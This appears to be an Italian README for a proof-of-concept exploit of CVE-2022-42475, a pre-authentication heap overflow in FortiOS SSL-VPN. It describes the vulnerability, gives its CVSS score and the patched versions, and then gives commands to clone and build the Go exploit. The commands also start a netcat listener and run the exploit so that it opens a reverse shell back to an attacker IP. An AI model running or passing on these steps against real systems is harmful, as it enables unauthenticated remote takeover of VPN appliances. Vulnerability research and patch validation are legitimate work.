
Proof of Concept (PoC) per la ricerca e la validazione controllata in laboratorio della CVE-2022-42475, una vulnerabilità critica di buffer overflow basato su heap che interessa il servizio SSL-VPN in alcune versioni di FortiOS.
Fortinet SSL VPN Pre-Authentication Remote Code Execution
CVE-2022-42475 è una vulnerabilità di heap-based buffer overflow nel servizio SSL VPN di FortiOS che consente a utenti malintenzionati non autenticati di eseguire codice arbitrario in remoto (RCE) tramite richieste HTTP appositamente progettate indirizzate all'endpoint /remote/error.
Questa vulnerabilità è stata sfruttata attivamente in natura (0-day) prima della pubblicazione della patch ufficiale.
La seguente schermata mostra l'esecuzione della PoC in un ambiente di laboratorio autorizzato:
L'output mostra l'esecuzione della PoC e l'interazione con l'istanza di FortiOS utilizzata per i test.

| Campo | Valore |
|---|
| CVE ID | CVE-2022-42475 |
| CVSS 3.1 | 9.3 (Critical) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-122 |
| Scoperto | Dicembre 2022 |
| Patch ufficiale | FortiOS 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16 |
# Clonar o descargar el código fuente
git clone https://github.com/uLl0a/cve-2022-42475-poc
cd cve-2022-42475-poc
# Compilar
go build -o exploit exploit.go
# O ejecutar directamente
go run exploit.go <target> <port> <reverse_ip> <params>
./exploit <target_host> <target_port> <reverse_ip> <param1> [param2...]
# En el atacante, iniciar listener
nc -lvnp 80
# Ejecutar el exploit
./exploit 192.168.1.100 443 10.0.0.5 /bin/sh -i